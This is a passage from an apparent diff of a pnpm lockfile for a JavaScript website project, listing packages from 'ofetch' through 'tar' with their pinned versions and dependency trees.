1.2.1 + es-object-atoms: 1.1.1 + has-symbols: 1.1.0 + object-keys: 1.1.1 + + ofetch@1.4.1: + dependencies: + destr: 2.0.5 + node-fetch-native: 1.6.7 + ufo: 1.6.1 + + ohash@2.0.11: {} + + once@1.4.0: + dependencies: + wrappy: 1.0.2 + + oniguruma-parser@0.12.1: {} + + oniguruma-to-es@4.3.3: + dependencies: + oniguruma-parser: 0.12.1 + regex: 6.0.1 + regex-recursion: 6.0.2 + + open@8.4.2: + dependencies: + define-lazy-prop: 2.0.0 + is-docker: 2.2.1 + is-wsl: 2.2.0 + + opencollective-postinstall@2.0.3: {} + + overlayscrollbars@2.12.0: {} + + own-keys@1.0.1: + dependencies: + get-intrinsic: 1.3.0 + object-keys: 1.1.1 + safe-push-apply: 1.0.0 + + p-finally@1.0.0: {} + + p-limit@2.3.0: + dependencies: + p-try: 2.2.0 + + p-limit@6.2.0: + dependencies: + yocto-queue: 1.2.1 + + p-locate@4.1.0: + dependencies: + p-limit: 2.3.0 + + p-queue@6.6.2: + dependencies: + eventemitter3: 4.0.7 + p-timeout: 3.2.0 + + p-queue@8.1.1: + dependencies: + eventemitter3: 5.0.1 + p-timeout: 6.1.4 + + p-timeout@3.2.0: + dependencies: + p-finally: 1.0.0 + + p-timeout@6.1.4: {} + + p-try@2.2.0: {} + + package-json-from-dist@1.0.1: {} + + package-manager-detector@0.2.11: + dependencies: + quansync: 0.2.10 + + package-manager-detector@1.3.0: {} + + pagefind@1.4.0: + optionalDependencies: + '@pagefind/darwin-arm64': 1.4.0 + '@pagefind/darwin-x64': 1.4.0 + '@pagefind/freebsd-x64': 1.4.0 + '@pagefind/linux-arm64': 1.4.0 + '@pagefind/linux-x64': 1.4.0 + '@pagefind/windows-x64': 1.4.0 + + pako@0.2.9: {} + + parent-module@1.0.1: + dependencies: + callsites: 3.1.0 + + parse-entities@4.0.2: + dependencies: + '@types/unist': 2.0.11 + character-entities-legacy: 3.0.0 + character-reference-invalid: 2.0.1 + decode-named-character-reference: 1.1.0 + is-alphanumerical: 2.0.1 + is-decimal: 2.0.1 + is-hexadecimal: 2.0.1 + + parse-json@5.2.0: + dependencies: + '@babel/code-frame': 7.27.1 + error-ex: 1.3.2 + json-parse-even-better-errors: 2.3.1 + lines-and-columns: 1.2.4 + + parse-latin@7.0.0: + dependencies: + '@types/nlcst': 2.0.3 + '@types/unist': 3.0.3 + nlcst-to-string: 4.0.0 + unist-util-modify-children: 4.0.0 + unist-util-visit-children: 3.0.0 + vfile: 6.0.3 + + parse-srcset@1.0.2: {} + + parse5-htmlparser2-tree-adapter@7.1.0: + dependencies: + domhandler: 5.0.3 + parse5: 7.2.1 + + parse5-parser-stream@7.1.2: + dependencies: + parse5: 7.2.1 + + parse5@7.2.1: + dependencies: + entities: 4.5.0 + + parse5@7.3.0: + dependencies: + entities: 6.0.1 + + path-browserify@1.0.1: {} + + path-exists@4.0.0: {} + + path-is-absolute@1.0.1: {} + + path-key@3.1.1: {} + + path-parse@1.0.7: {} + + path-scurry@1.11.1: + dependencies: + lru-cache: 10.4.3 + minipass: 7.1.2 + + path-to-regexp@6.3.0: {} + + path-type@4.0.0: {} + + pathe@1.1.2: {} + + pathe@2.0.3: {} + + pend@1.2.0: {} + + photoswipe@5.4.4: {} + + picocolors@1.1.1: {} + + picomatch@2.3.1: {} + + picomatch@4.0.3: {} + + pify@2.3.0: {} + + pify@5.0.0: {} + + pirates@4.0.7: {} + + pkg-dir@4.2.0: + dependencies: + find-up: 4.1.0 + + pkg-types@1.3.1: + dependencies: + confbox: 0.1.8 + mlly: 1.7.4 + pathe: 2.0.3 + + pkg-types@2.1.0: + dependencies: + confbox: 0.2.1 + exsolve: 1.0.4 + pathe: 2.0.3 + + possible-typed-array-names@1.1.0: {} + + postcss-calc@8.2.4(postcss@8.5.6): + dependencies: + postcss: 8.5.6 + postcss-selector-parser: 6.1.2 + postcss-value-parser: 4.2.0 + + postcss-colormin@5.3.1(postcss@8.5.6): + dependencies: + browserslist: 4.25.1 + caniuse-api: 3.0.0 + colord: 2.9.3 + postcss: 8.5.6 + postcss-value-parser: 4.2.0 + + postcss-convert-values@5.1.3(postcss@8.5.6): + dependencies: + browserslist: 4.25.1 + postcss: 8.5.6 + postcss-value-parser: 4.2.0 + + postcss-discard-comments@5.1.2(postcss@8.5.6): + dependencies: + postcss: 8.5.6 + + postcss-discard-duplicates@5.1.0(postcss@8.5.6): + dependencies: + postcss: 8.5.6 + + postcss-discard-empty@5.1.1(postcss@8.5.6): + dependencies: + postcss: 8.5.6 + + postcss-discard-overridden@5.1.0(postcss@8.5.6): + dependencies: + postcss: 8.5.6 + + postcss-import@15.1.0(postcss@8.5.6): + dependencies: + postcss: 8.5.6 + postcss-value-parser: 4.2.0 + read-cache: 1.0.0 + resolve: 1.22.10 + + postcss-import@16.1.1(postcss@8.5.6): + dependencies: + postcss: 8.5.6 + postcss-value-parser: 4.2.0 + read-cache: 1.0.0 + resolve: 1.22.10 + + postcss-js@4.1.0(postcss@8.5.6): + dependencies: + camelcase-css: 2.0.1 + postcss: 8.5.6 + + postcss-load-config@3.1.4(postcss@8.5.6): + dependencies: + lilconfig: 2.1.0 + yaml: 1.10.2 + optionalDependencies: + postcss: 8.5.6 + + postcss-load-config@4.0.2(postcss@8.5.3): + dependencies: + lilconfig: 3.1.3 + yaml: 2.7.0 + optionalDependencies: + postcss: 8.5.3 + + postcss-load-config@6.0.1(jiti@1.21.7)(postcss@8.5.6)(yaml@2.7.0): + dependencies: + lilconfig: 3.1.3 + optionalDependencies: + jiti: 1.21.7 + postcss: 8.5.6 + yaml: 2.7.0 + + postcss-merge-longhand@5.1.7(postcss@8.5.6): + dependencies: + postcss: 8.5.6 + postcss-value-parser: 4.2.0 + stylehacks: 5.1.1(postcss@8.5.6) + + postcss-merge-rules@5.1.4(postcss@8.5.6): + dependencies: + browserslist: 4.25.1 + caniuse-api: 3.0.0 + cssnano-utils: 3.1.0(postcss@8.5.6) + postcss: 8.5.6 + postcss-selector-parser: 6.1.2 + + postcss-minify-font-values@5.1.0(postcss@8.5.6): + dependencies: + postcss: 8.5.6 + postcss-value-parser: 4.2.0 + + postcss-minify-gradients@5.1.1(postcss@8.5.6): + dependencies: + colord: 2.9.3 + cssnano-utils: 3.1.0(postcss@8.5.6) + postcss: 8.5.6 + postcss-value-parser: 4.2.0 + + postcss-minify-params@5.1.4(postcss@8.5.6): + dependencies: + browserslist: 4.25.1 + cssnano-utils: 3.1.0(postcss@8.5.6) + postcss: 8.5.6 + postcss-value-parser: 4.2.0 + + postcss-minify-selectors@5.2.1(postcss@8.5.6): + dependencies: + postcss: 8.5.6 + postcss-selector-parser: 6.1.2 + + postcss-modules-extract-imports@3.1.0(postcss@8.5.6): + dependencies: + postcss: 8.5.6 + + postcss-modules-local-by-default@4.2.0(postcss@8.5.6): + dependencies: + icss-utils: 5.1.0(postcss@8.5.6) + postcss: 8.5.6 + postcss-selector-parser: 7.1.0 + postcss-value-parser: 4.2.0 + + postcss-modules-scope@3.2.1(postcss@8.5.6): + dependencies: + postcss: 8.5.6 + postcss-selector-parser: 7.1.0 + + postcss-modules-values@4.0.0(postcss@8.5.6): + dependencies: + icss-utils: 5.1.0(postcss@8.5.6) + postcss: 8.5.6 + + postcss-modules@4.3.1(postcss@8.5.6): + dependencies: + generic-names: 4.0.0 + icss-replace-symbols: 1.1.0 + lodash.camelcase: 4.3.0 + postcss: 8.5.6 + postcss-modules-extract-imports: 3.1.0(postcss@8.5.6) + postcss-modules-local-by-default: 4.2.0(postcss@8.5.6) + postcss-modules-scope: 3.2.1(postcss@8.5.6) + postcss-modules-values: 4.0.0(postcss@8.5.6) + string-hash: 1.1.3 + + postcss-nested@6.2.0(postcss@8.5.6): + dependencies: + postcss: 8.5.6 + postcss-selector-parser: 6.1.2 + + postcss-nesting@13.0.2(postcss@8.5.6): + dependencies: + '@csstools/selector-resolve-nested': 3.1.0(postcss-selector-parser@7.1.0) + '@csstools/selector-specificity': 5.0.0(postcss-selector-parser@7.1.0) + postcss: 8.5.6 + postcss-selector-parser: 7.1.0 + + postcss-normalize-charset@5.1.0(postcss@8.5.6): + dependencies: + postcss: 8.5.6 + + postcss-normalize-display-values@5.1.0(postcss@8.5.6): + dependencies: + postcss: 8.5.6 + postcss-value-parser: 4.2.0 + + postcss-normalize-positions@5.1.1(postcss@8.5.6): + dependencies: + postcss: 8.5.6 + postcss-value-parser: 4.2.0 + + postcss-normalize-repeat-style@5.1.1(postcss@8.5.6): + dependencies: + postcss: 8.5.6 + postcss-value-parser: 4.2.0 + + postcss-normalize-string@5.1.0(postcss@8.5.6): + dependencies: + postcss: 8.5.6 + postcss-value-parser: 4.2.0 + + postcss-normalize-timing-functions@5.1.0(postcss@8.5.6): + dependencies: + postcss: 8.5.6 + postcss-value-parser: 4.2.0 + + postcss-normalize-unicode@5.1.1(postcss@8.5.6): + dependencies: + browserslist: 4.25.1 + postcss: 8.5.6 + postcss-value-parser: 4.2.0 + + postcss-normalize-url@5.1.0(postcss@8.5.6): + dependencies: + normalize-url: 6.1.0 + postcss: 8.5.6 + postcss-value-parser: 4.2.0 + + postcss-normalize-whitespace@5.1.1(postcss@8.5.6): + dependencies: + postcss: 8.5.6 + postcss-value-parser: 4.2.0 + + postcss-ordered-values@5.1.3(postcss@8.5.6): + dependencies: + cssnano-utils: 3.1.0(postcss@8.5.6) + postcss: 8.5.6 + postcss-value-parser: 4.2.0 + + postcss-reduce-initial@5.1.2(postcss@8.5.6): + dependencies: + browserslist: 4.25.1 + caniuse-api: 3.0.0 + postcss: 8.5.6 + + postcss-reduce-transforms@5.1.0(postcss@8.5.6): + dependencies: + postcss: 8.5.6 + postcss-value-parser: 4.2.0 + + postcss-selector-parser@6.0.10: + dependencies: + cssesc: 3.0.0 + util-deprecate: 1.0.2 + + postcss-selector-parser@6.1.2: + dependencies: + cssesc: 3.0.0 + util-deprecate: 1.0.2 + + postcss-selector-parser@7.1.0: + dependencies: + cssesc: 3.0.0 + util-deprecate: 1.0.2 + + postcss-svgo@5.1.0(postcss@8.5.6): + dependencies: + postcss: 8.5.6 + postcss-value-parser: 4.2.0 + svgo: 2.8.0 + + postcss-unique-selectors@5.1.1(postcss@8.5.6): + dependencies: + postcss: 8.5.6 + postcss-selector-parser: 6.1.2 + + postcss-value-parser@4.2.0: {} + + postcss@8.5.3: + dependencies: + nanoid: 3.3.11 + picocolors: 1.1.1 + source-map-js: 1.2.1 + + postcss@8.5.6: + dependencies: + nanoid: 3.3.11 + picocolors: 1.1.1 + source-map-js: 1.2.1 + + prettier-plugin-astro@0.14.1: + dependencies: + '@astrojs/compiler': 2.13.0 + prettier: 3.6.2 + sass-formatter: 0.7.9 + + prettier@2.8.7: + optional: true + + prettier@2.8.8: {} + + prettier@3.6.2: {} + + pretty-bytes@3.0.1: + dependencies: + number-is-nan: 1.0.1 + + pretty-bytes@5.6.0: {} + + prismjs@1.30.0: {} + + promise.series@0.2.0: {} + + prompts@2.4.2: + dependencies: + kleur: 3.0.3 + sisteransi: 1.0.5 + + property-information@6.5.0: {} + + property-information@7.0.0: {} + + property-information@7.1.0: {} + + proxy-from-env@1.1.0: {} + + pump@3.0.2: + dependencies: + end-of-stream: 1.4.4 + once: 1.4.0 + + punycode.js@2.3.1: {} + + quansync@0.2.10: {} + + queue-microtask@1.2.3: {} + + radix3@1.1.2: {} + + randombytes@2.1.0: + dependencies: + safe-buffer: 5.2.1 + + react-dom@19.2.0(react@19.2.0): + dependencies: + react: 19.2.0 + scheduler: 0.27.0 + + react-refresh@0.17.0: {} + + react@19.2.0: {} + + read-cache@1.0.0: + dependencies: + pify: 2.3.0 + + readdirp@3.6.0: + dependencies: + picomatch: 2.3.1 + + readdirp@4.1.2: {} + + reading-time@1.5.0: {} + + rechoir@0.6.2: + dependencies: + resolve: 1.22.10 + + reflect.getprototypeof@1.0.10: + dependencies: + call-bind: 1.0.8 + define-properties: 1.2.1 + es-abstract: 1.24.0 + es-errors: 1.3.0 + es-object-atoms: 1.1.1 + get-intrinsic: 1.3.0 + get-proto: 1.0.1 + which-builtin-type: 1.2.1 + + regenerate-unicode-properties@10.2.0: + dependencies: + regenerate: 1.4.2 + + regenerate@1.4.2: {} + + regex-recursion@6.0.2: + dependencies: + regex-utilities: 2.3.0 + + regex-utilities@2.3.0: {} + + regex@6.0.1: + dependencies: + regex-utilities: 2.3.0 + + regexp.prototype.flags@1.5.4: + dependencies: + call-bind: 1.0.8 + define-properties: 1.2.1 + es-errors: 1.3.0 + get-proto: 1.0.1 + gopd: 1.2.0 + set-function-name: 2.0.2 + + regexpu-core@6.2.0: + dependencies: + regenerate: 1.4.2 + regenerate-unicode-properties: 10.2.0 + regjsgen: 0.8.0 + regjsparser: 0.12.0 + unicode-match-property-ecmascript: 2.0.0 + unicode-match-property-value-ecmascript: 2.2.0 + + regjsgen@0.8.0: {} + + regjsparser@0.12.0: + dependencies: + jsesc: 3.0.2 + + rehype-autolink-headings@7.1.0: + dependencies: + '@types/hast': 3.0.4 + '@ungap/structured-clone': 1.3.0 + hast-util-heading-rank: 3.0.0 + hast-util-is-element: 3.0.0 + unified: 11.0.5 + unist-util-visit: 5.0.0 + + rehype-components@0.3.0: + dependencies: + hast-util-is-element: 3.0.0 + unist-util-visit: 5.0.0 + + rehype-expressive-code@0.41.3: + dependencies: + expressive-code: 0.41.3 + + rehype-katex@7.0.1: + dependencies: + '@types/hast': 3.0.4 + '@types/katex': 0.16.7 + hast-util-from-html-isomorphic: 2.0.0 + hast-util-to-text: 4.0.2 + katex: 0.16.23 + unist-util-visit-parents: 6.0.1 + vfile: 6.0.3 + + rehype-parse@9.0.1: + dependencies: + '@types/hast': 3.0.4 + hast-util-from-html: 2.0.3 + unified: 11.0.5 + + rehype-raw@7.0.0: + dependencies: + '@types/hast': 3.0.4 + hast-util-raw: 9.1.0 + vfile: 6.0.3 + + rehype-slug@6.0.0: + dependencies: + '@types/hast': 3.0.4 + github-slugger: 2.0.0 + hast-util-heading-rank: 3.0.0 + hast-util-to-string: 3.0.1 + unist-util-visit: 5.0.0 + + rehype-stringify@10.0.1: + dependencies: + '@types/hast': 3.0.4 + hast-util-to-html: 9.0.5 + unified: 11.0.5 + + rehype@13.0.2: + dependencies: + '@types/hast': 3.0.4 + rehype-parse: 9.0.1 + rehype-stringify: 10.0.1 + unified: 11.0.5 + + remark-directive-rehype@0.4.2: + dependencies: + hastscript: 7.2.0 + unist-util-map: 3.1.3 + + remark-directive@3.0.1: + dependencies: + '@types/mdast': 4.0.4 + mdast-util-directive: 3.1.0 + micromark-extension-directive: 3.0.2 + unified: 11.0.5 + transitivePeerDependencies: + - supports-color + + remark-gfm@4.0.1: + dependencies: + '@types/mdast': 4.0.4 + mdast-util-gfm: 3.1.0 + micromark-extension-gfm: 3.0.0 + remark-parse: 11.0.0 + remark-stringify: 11.0.0 + unified: 11.0.5 + transitivePeerDependencies: + - supports-color + + remark-github-admonitions-to-directives@1.0.5: + dependencies: + '@types/mdast': 4.0.4 + mdast-util-directive: 3.1.0 + unified: 11.0.5 + unist-util-visit: 5.0.0 + transitivePeerDependencies: + - supports-color + + remark-math@6.0.0: + dependencies: + '@types/mdast': 4.0.4 + mdast-util-math: 3.0.0 + micromark-extension-math: 3.1.0 + unified: 11.0.5 + transitivePeerDependencies: + - supports-color + + remark-parse@11.0.0: + dependencies: + '@types/mdast': 4.0.4 + mdast-util-from-markdown: 2.0.2 + micromark-util-types: 2.0.2 + unified: 11.0.5 + transitivePeerDependencies: + - supports-color + + remark-rehype@11.1.2: + dependencies: + '@types/hast': 3.0.4 + '@types/mdast': 4.0.4 + mdast-util-to-hast: 13.2.0 + unified: 11.0.5 + vfile: 6.0.3 + + remark-sectionize@2.1.0: + dependencies: + unist-util-find-after: 4.0.1 + unist-util-visit: 4.1.2 + + remark-smartypants@3.0.2: + dependencies: + retext: 9.0.0 + retext-smartypants: 6.2.0 + unified: 11.0.5 + unist-util-visit: 5.0.0 + + remark-stringify@11.0.0: + dependencies: + '@types/mdast': 4.0.4 + mdast-util-to-markdown: 2.1.2 + unified: 11.0.5 + + request-light@0.5.8: {} + + request-light@0.7.0: {} + + require-directory@2.1.1: {} + + require-from-string@2.0.2: {} + + resolve-from@4.0.0: {} + + resolve-from@5.0.0: {} + + resolve@1.22.10: + dependencies: + is-core-module: 2.16.1 + path-parse: 1.0.7 + supports-preserve-symlinks-flag: 1.0.0 + + restructure@3.0.2: {} + + retext-latin@4.0.0: + dependencies: + '@types/nlcst': 2.0.3 + parse-latin: 7.0.0 + unified: 11.0.5 + + retext-smartypants@6.2.0: + dependencies: + '@types/nlcst': 2.0.3 + nlcst-to-string: 4.0.0 + unist-util-visit: 5.0.0 + + retext-stringify@4.0.0: + dependencies: + '@types/nlcst': 2.0.3 + nlcst-to-string: 4.0.0 + unified: 11.0.5 + + retext@9.0.0: + dependencies: + '@types/nlcst': 2.0.3 + retext-latin: 4.0.0 + retext-stringify: 4.0.0 + unified: 11.0.5 + + reusify@1.1.0: {} + + rollup-plugin-bundle-size@1.0.3: + dependencies: + chalk: 1.1.3 + maxmin: 2.1.0 + + rollup-plugin-postcss@4.0.2(postcss@8.5.6): + dependencies: + chalk: 4.1.2 + concat-with-sourcemaps: 1.1.0 + cssnano: 5.1.15(postcss@8.5.6) + import-cwd: 3.0.0 + p-queue: 6.6.2 + pify: 5.0.0 + postcss: 8.5.6 + postcss-load-config: 3.1.4(postcss@8.5.6) + postcss-modules: 4.3.1(postcss@8.5.6) + promise.series: 0.2.0 + resolve: 1.22.10 + rollup-pluginutils: 2.8.2 + safe-identifier: 0.4.2 + style-inject: 0.3.0 + transitivePeerDependencies: + - ts-node + + rollup-plugin-terser@7.0.2(rollup@2.79.2): + dependencies: + '@babel/code-frame': 7.27.1 + jest-worker: 26.6.2 + rollup: 2.79.2 + serialize-javascript: 4.0.0 + terser: 5.43.1 + + rollup-plugin-typescript2@0.32.1(rollup@2.79.2)(typescript@4.9.5): + dependencies: + '@rollup/pluginutils': 4.2.1 + find-cache-dir: 3.3.2 + fs-extra: 10.1.0 + resolve: 1.22.10 + rollup: 2.79.2 + tslib: 2.8.1 + typescript: 4.9.5 + + rollup-plugin-visualizer@5.14.0(rollup@2.79.2): + dependencies: + open: 8.4.2 + picomatch: 4.0.3 + source-map: 0.7.4 + yargs: 17.7.2 + optionalDependencies: + rollup: 2.79.2 + + rollup-pluginutils@2.8.2: + dependencies: + estree-walker: 0.6.1 + + rollup@2.79.2: + optionalDependencies: + fsevents: 2.3.3 + + rollup@4.52.2: + dependencies: + '@types/estree': 1.0.8 + optionalDependencies: + '@rollup/rollup-android-arm-eabi': 4.52.2 + '@rollup/rollup-android-arm64': 4.52.2 + '@rollup/rollup-darwin-arm64': 4.52.2 + '@rollup/rollup-darwin-x64': 4.52.2 + '@rollup/rollup-freebsd-arm64': 4.52.2 + '@rollup/rollup-freebsd-x64': 4.52.2 + '@rollup/rollup-linux-arm-gnueabihf': 4.52.2 + '@rollup/rollup-linux-arm-musleabihf': 4.52.2 + '@rollup/rollup-linux-arm64-gnu': 4.52.2 + '@rollup/rollup-linux-arm64-musl': 4.52.2 + '@rollup/rollup-linux-loong64-gnu': 4.52.2 + '@rollup/rollup-linux-ppc64-gnu': 4.52.2 + '@rollup/rollup-linux-riscv64-gnu': 4.52.2 + '@rollup/rollup-linux-riscv64-musl': 4.52.2 + '@rollup/rollup-linux-s390x-gnu': 4.52.2 + '@rollup/rollup-linux-x64-gnu': 4.52.2 + '@rollup/rollup-linux-x64-musl': 4.52.2 + '@rollup/rollup-openharmony-arm64': 4.52.2 + '@rollup/rollup-win32-arm64-msvc': 4.52.2 + '@rollup/rollup-win32-ia32-msvc': 4.52.2 + '@rollup/rollup-win32-x64-gnu': 4.52.2 + '@rollup/rollup-win32-x64-msvc': 4.52.2 + fsevents: 2.3.3 + + run-parallel@1.2.0: + dependencies: + queue-microtask: 1.2.3 + + s.color@0.0.15: {} + + sade@1.8.1: + dependencies: + mri: 1.2.0 + + safe-array-concat@1.1.3: + dependencies: + call-bind: 1.0.8 + call-bound: 1.0.4 + get-intrinsic: 1.3.0 + has-symbols: 1.1.0 + isarray: 2.0.5 + + safe-buffer@5.2.1: {} + + safe-identifier@0.4.2: {} + + safe-push-apply@1.0.0: + dependencies: + es-errors: 1.3.0 + isarray: 2.0.5 + + safe-regex-test@1.1.0: + dependencies: + call-bound: 1.0.4 + es-errors: 1.3.0 + is-regex: 1.2.1 + + safer-buffer@2.1.2: {} + + sanitize-html@2.17.0: + dependencies: + deepmerge: 4.3.1 + escape-string-regexp: 4.0.0 + htmlparser2: 8.0.2 + is-plain-object: 5.0.0 + parse-srcset: 1.0.2 + postcss: 8.5.3 + + sass-formatter@0.7.9: + dependencies: + suf-log: 2.5.3 + + sass@1.80.4: + dependencies: + '@parcel/watcher': 2.5.1 + chokidar: 4.0.3 + immutable: 4.3.7 + source-map-js: 1.2.1 + optional: true + + sax@1.4.1: {} + + scheduler@0.27.0: {} + + scrl@2.0.0: {} + + scule@1.3.0: {} + + semver@6.3.1: {} + + semver@7.7.1: {} + + semver@7.7.2: {} + + serialize-javascript@4.0.0: + dependencies: + randombytes: 2.1.0 + + set-function-length@1.2.2: + dependencies: + define-data-property: 1.1.4 + es-errors: 1.3.0 + function-bind: 1.1.2 + get-intrinsic: 1.3.0 + gopd: 1.2.0 + has-property-descriptors: 1.0.2 + + set-function-name@2.0.2: + dependencies: + define-data-property: 1.1.4 + es-errors: 1.3.0 + functions-have-names: 1.2.3 + has-property-descriptors: 1.0.2 + + set-proto@1.0.0: + dependencies: + dunder-proto: 1.0.1 + es-errors: 1.3.0 + es-object-atoms: 1.1.1 + + sharp@0.34.4: + dependencies: + '@img/colour': 1.0.0 + detect-libc: 2.1.0 + semver: 7.7.2 + optionalDependencies: + '@img/sharp-darwin-arm64': 0.34.4 + '@img/sharp-darwin-x64': 0.34.4 + '@img/sharp-libvips-darwin-arm64': 1.2.3 + '@img/sharp-libvips-darwin-x64': 1.2.3 + '@img/sharp-libvips-linux-arm': 1.2.3 + '@img/sharp-libvips-linux-arm64': 1.2.3 + '@img/sharp-libvips-linux-ppc64': 1.2.3 + '@img/sharp-libvips-linux-s390x': 1.2.3 + '@img/sharp-libvips-linux-x64': 1.2.3 + '@img/sharp-libvips-linuxmusl-arm64': 1.2.3 + '@img/sharp-libvips-linuxmusl-x64': 1.2.3 + '@img/sharp-linux-arm': 0.34.4 + '@img/sharp-linux-arm64': 0.34.4 + '@img/sharp-linux-ppc64': 0.34.4 + '@img/sharp-linux-s390x': 0.34.4 + '@img/sharp-linux-x64': 0.34.4 + '@img/sharp-linuxmusl-arm64': 0.34.4 + '@img/sharp-linuxmusl-x64': 0.34.4 + '@img/sharp-wasm32': 0.34.4 + '@img/sharp-win32-arm64': 0.34.4 + '@img/sharp-win32-ia32': 0.34.4 + '@img/sharp-win32-x64': 0.34.4 + + shebang-command@2.0.0: + dependencies: + shebang-regex: 3.0.0 + + shebang-regex@3.0.0: {} + + shelljs-live@0.0.5(shelljs@0.8.5): + dependencies: + cross-spawn: 7.0.6 + shelljs: 0.8.5 + + shelljs@0.8.5: + dependencies: + glob: 7.2.3 + interpret: 1.4.0 + rechoir: 0.6.2 + + shiki@3.13.0: + dependencies: + '@shikijs/core': 3.13.0 + '@shikijs/engine-javascript': 3.13.0 + '@shikijs/engine-oniguruma': 3.13.0 + '@shikijs/langs': 3.13.0 + '@shikijs/themes': 3.13.0 + '@shikijs/types': 3.13.0 + '@shikijs/vscode-textmate': 10.0.2 + '@types/hast': 3.0.4 + + side-channel-list@1.0.0: + dependencies: + es-errors: 1.3.0 + object-inspect: 1.13.4 + + side-channel-map@1.0.1: + dependencies: + call-bound: 1.0.4 + es-errors: 1.3.0 + get-intrinsic: 1.3.0 + object-inspect: 1.13.4 + + side-channel-weakmap@1.0.2: + dependencies: + call-bound: 1.0.4 + es-errors: 1.3.0 + get-intrinsic: 1.3.0 + object-inspect: 1.13.4 + side-channel-map: 1.0.1 + + side-channel@1.1.0: + dependencies: + es-errors: 1.3.0 + object-inspect: 1.13.4 + side-channel-list: 1.0.0 + side-channel-map: 1.0.1 + side-channel-weakmap: 1.0.2 + + signal-exit@4.1.0: {} + + sisteransi@1.0.5: {} + + sitemap@8.0.0: + dependencies: + '@types/node': 17.0.45 + '@types/sax': 1.2.7 + arg: 5.0.2 + sax: 1.4.1 + + slash@3.0.0: {} + + smol-toml@1.4.2: {} + + source-map-js@1.2.1: {} + + source-map-support@0.5.21: + dependencies: + buffer-from: 1.1.2 + source-map: 0.6.1 + + source-map@0.6.1: {} + + source-map@0.7.4: {} + + sourcemap-codec@1.4.8: {} + + space-separated-tokens@2.0.2: {} + + stable@0.1.8: {} + + stop-iteration-iterator@1.1.0: + dependencies: + es-errors: 1.3.0 + internal-slot: 1.1.0 + + stream-replace-string@2.0.0: {} + + string-hash@1.1.3: {} + + string-width@4.2.3: + dependencies: + emoji-regex: 8.0.0 + is-fullwidth-code-point: 3.0.0 + strip-ansi: 6.0.1 + + string-width@5.1.2: + dependencies: + eastasianwidth: 0.2.0 + emoji-regex: 9.2.2 + strip-ansi: 7.1.2 + + string-width@7.2.0: + dependencies: + emoji-regex: 10.5.0 + get-east-asian-width: 1.4.0 + strip-ansi: 7.1.2 + + string.prototype.matchall@4.0.12: + dependencies: + call-bind: 1.0.8 + call-bound: 1.0.4 + define-properties: 1.2.1 + es-abstract: 1.24.0 + es-errors: 1.3.0 + es-object-atoms: 1.1.1 + get-intrinsic: 1.3.0 + gopd: 1.2.0 + has-symbols: 1.1.0 + internal-slot: 1.1.0 + regexp.prototype.flags: 1.5.4 + set-function-name: 2.0.2 + side-channel: 1.1.0 + + string.prototype.trim@1.2.10: + dependencies: + call-bind: 1.0.8 + call-bound: 1.0.4 + define-data-property: 1.1.4 + define-properties: 1.2.1 + es-abstract: 1.24.0 + es-object-atoms: 1.1.1 + has-property-descriptors: 1.0.2 + + string.prototype.trimend@1.0.9: + dependencies: + call-bind: 1.0.8 + call-bound: 1.0.4 + define-properties: 1.2.1 + es-object-atoms: 1.1.1 + + string.prototype.trimstart@1.0.8: + dependencies: + call-bind: 1.0.8 + define-properties: 1.2.1 + es-object-atoms: 1.1.1 + + stringify-entities@4.0.4: + dependencies: + character-entities-html4: 2.1.0 + character-entities-legacy: 3.0.0 + + strip-ansi@3.0.1: + dependencies: + ansi-regex: 2.1.1 + + strip-ansi@6.0.1: + dependencies: + ansi-regex: 5.0.1 + + strip-ansi@7.1.2: + dependencies: + ansi-regex: 6.2.2 + + strnum@2.1.1: {} + + style-inject@0.3.0: {} + + stylehacks@5.1.1(postcss@8.5.6): + dependencies: + browserslist: 4.25.1 + postcss: 8.5.6 + postcss-selector-parser: 6.1.2 + + stylus@0.64.0: + dependencies: + '@adobe/css-tools': 4.3.3 + debug: 4.4.0 + glob: 10.4.5 + sax: 1.4.1 + source-map: 0.7.4 + transitivePeerDependencies: + - supports-color + + sucrase@3.35.0: + dependencies: + '@jridgewell/gen-mapping': 0.3.13 + commander: 4.1.1 + glob: 10.4.5 + lines-and-columns: 1.2.4 + mz: 2.7.0 + pirates: 4.0.7 + ts-interface-checker: 0.1.13 + + suf-log@2.5.3: + dependencies: + s.color: 0.0.15 + + supports-color@2.0.0: {} + + supports-color@7.2.0: + dependencies: + has-flag: 4.0.0 + + supports-preserve-symlinks-flag@1.0.0: {} + + svelte2tsx@0.7.44(svelte@5.39.8)(typescript@5.9.3): + dependencies: + dedent-js: 1.0.1 + scule: 1.3.0 + svelte: 5.39.8 + typescript: 5.9.3 + + svelte@5.39.8: + dependencies: + '@jridgewell/remapping': 2.3.5 + '@jridgewell/sourcemap-codec': 1.5.5 + '@sveltejs/acorn-typescript': 1.0.6(acorn@8.15.0) + '@types/estree': 1.0.8 + acorn: 8.15.0 + aria-query: 5.3.2 + axobject-query: 4.1.0 + clsx: 2.1.1 + esm-env: 1.2.2 + esrap: 2.1.0 + is-reference: 3.0.3 + locate-character: 3.0.0 + magic-string: 0.30.19 + zimmerframe: 1.1.4 + + svgo@2.8.0: + dependencies: + '@trysound/sax': 0.2.0 + commander: 7.2.0 + css-select: 4.3.0 + css-tree: 1.1.3 + csso: 4.2.0 + picocolors: 1.1.1 + stable: 0.1.8 + + svgo@3.3.2: + dependencies: + '@trysound/sax': 0.2.0 + commander: 7.2.0 + css-select: 5.1.0 + css-tree: 2.3.1 + css-what: 6.1.0 + csso: 5.0.5 + picocolors: 1.1.1 + + swup-morph-plugin@1.3.0(swup@4.8.2): + dependencies: + '@swup/plugin': 4.0.0 + morphdom: 2.7.5 + swup: 4.8.2 + + swup@4.8.2: + dependencies: + delegate-it: 6.2.1 + opencollective-postinstall: 2.0.3 + path-to-regexp: 6.3.0 + + tailwind-merge@3.4.0: {} + + tailwindcss@3.4.18(yaml@2.7.0): + dependencies: + '@alloc/quick-lru': 5.2.0 + arg: 5.0.2 + chokidar: 3.6.0 + didyoumean: 1.2.2 + dlv: 1.1.3 + fast-glob: 3.3.3 + glob-parent: 6.0.2 + is-glob: 4.0.3 + jiti: 1.21.7 + lilconfig: 3.1.3 + micromatch: 4.0.8 + normalize-path: 3.0.0 + object-hash: 3.0.0 + picocolors: 1.1.1 + postcss: 8.5.6 + postcss-import: 15.1.0(postcss@8.5.6) + postcss-js: 4.1.0(postcss@8.5.6) + postcss-load-config: 6.0.1(jiti@1.21.7)(postcss@8.5.6)(yaml@2.7.0) + postcss-nested: 6.2.0(postcss@8.5.6) + postcss-selector-parser: 6.1.2 + resolve: 1.22.10 + sucrase: 3.35.0 + transitivePeerDependencies: + - tsx + - yaml + + tar@6.2.1: + dependencies: + 